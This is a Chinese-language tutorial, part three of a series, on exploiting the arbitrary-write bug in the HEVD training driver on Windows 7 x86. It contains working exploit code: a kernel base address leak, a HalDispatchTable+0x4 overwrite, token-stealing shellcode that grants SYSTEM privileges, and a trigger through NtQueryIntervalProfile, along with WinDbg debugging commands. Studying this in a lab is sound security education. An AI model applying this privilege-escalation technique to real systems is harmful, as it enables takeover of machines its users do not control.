Windows Kernel Exploit(三) -> Write-What-Where
字数 1437 2025-08-05 08:20:14
Windows Kernel Exploit 教学:Write-What-Where 漏洞分析与利用
0x00 前言
本教学文档详细讲解 Windows 内核中的 Write-What-Where 漏洞(任意内存覆盖漏洞)的原理与利用方法。这是 Windows 内核漏洞利用系列的第三部分,需要读者具备以下基础环境:
- Windows 7 x86 sp1 虚拟机
- 配置好的 WinDbg 调试工具(建议配合 VirtualKD 使用)
- HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader 构造的漏洞环境
0x01 漏洞原理
漏洞代码分析
在 HEVD.sys 驱动中,TriggerArbitraryOverwrite 函数存在任意内存覆盖漏洞:
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *v1; // edi
unsigned int *v2; // ebx
ProbeForRead(UserWriteWhatWhere, 8u, 4u);
v1 = UserWriteWhatWhere->What;
v2 = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*v2 = *v1;
return 0;
}
安全与非安全版本对比
安全版本:
#ifdef SECURE
// 安全版本:通过 ProbeForRead 验证用户模式地址
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
// 漏洞版本:直接写入,无验证
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*(Where) = *(What);
#endif
ProbeForRead 函数的作用是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐。
漏洞本质
该漏洞允许攻击者:
- 向任意内核地址(Where)写入任意数据(What)
- 由于缺乏对指针的验证,可以覆盖关键内核数据结构
- 可能导致权限提升或系统崩溃
0x02 漏洞利用
利用原理
基本思路:
- 控制
What指针指向攻击者的 Shellcode - 控制
Where指针指向关键内核函数指针表 - 通过触发函数调用执行 Shellcode
控制码计算
HEVD 驱动中定义的控制码:
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
CTL_CODE 宏的计算公式:
#define CTL_CODE(DeviceType, Function, Method, Access)
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)
通过 Python 计算具体值:
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
'0x22200b'
数据结构
WRITE_WHAT_WHERE 结构体定义:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
关键地址定位
-
定位 HalDispatchTable+0x4:
- 这是内核函数指针表中的一个位置,通常用于存储函数指针
- 覆盖此处可以劫持内核函数调用流程
-
查找步骤:
- 找到 ntkrnlpa.exe 在内核模式中的基地址
- 找到 ntkrnlpa.exe 在用户模式中的基地址
- 找到 HalDispatchTable 在用户模式中的地址
- 计算 HalDispatchTable+0x4 的最终地址
详细利用代码
1. 获取 ntkrnlpa.exe 内核基地址
LPVOID NtkrnlpaBase() {
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
// 检索系统中每个设备驱动程序的加载地址
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for(int i = 0; i < 1024; i++) {
// 检索指定设备驱动程序的基本名称
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if(!strcmp(lpfileName, "ntkrnlpa.exe")) {
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
2. 获取用户模式基地址和 HalDispatchTable 地址
// 加载 ntkrnlpa.exe 到用户空间
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// 获取 HalDispatchTable 地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
3. 计算 HalDispatchTable+0x4 地址
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase +
((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
4. Shellcode 设计
static VOID ShellCode() {
_asm {
// int 3
pop edi // 堆栈平衡
pop esi
pop ebx
pushad
mov eax, fs:[124h] // 获取当前线程的 _KTHREAD 结构
mov eax, [eax+0x50] // 获取 _EPROCESS 结构
mov ecx, eax
mov edx, 4 // SYSTEM 进程的 PID (4)
// 循环查找 SYSTEM 进程
find_sys_pid:
mov eax, [eax+0xb8] // 遍历进程活动列表
sub eax, 0xb8
cmp [eax+0xb4], edx // 通过 PID 判断是否为 SYSTEM
jnz find_sys_pid
// 替换 Token
mov edx, [eax+0xf8]
mov [ecx+0xf8], edx
popad
// int 3
ret
}
}
5. 完整利用流程
-
准备 WRITE_WHAT_WHERE 结构:
- What: Shellcode 地址
- Where: HalDispatchTable+0x4 地址
-
通过 DeviceIoControl 触发漏洞:
DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL); -
调用 NtQueryIntervalProfile 触发 Shellcode:
typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)( IN KPROFILE_SOURCE ProfileSource, OUT PULONG Interval); NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); NtQueryIntervalProfile(2, &interval);
0x03 调试技巧
-
显示 DbgPrint 输出:
ed nt!Kd_DEFAULT_Mask 8 -
反汇编关键函数:
u nt!NtQueryIntervalProfile+0x62 u KeQueryIntervalProfile -
查看 HalDispatchTable 结构:
dd HalDispatchTable
0x04 总结
Write-What-Where 漏洞利用的关键点:
- 准确计算 HalDispatchTable+0x4 的地址
- 设计可靠的 Shellcode 并确保堆栈平衡
- 通过 NtQueryIntervalProfile 触发修改后的函数指针
- 利用进程 Token 替换实现权限提升
这种漏洞利用方式在内核漏洞利用中非常典型,掌握其原理和方法对于理解 Windows 内核安全机制至关重要。建议读者在实际环境中调试每一步,加深对漏洞利用过程的理解。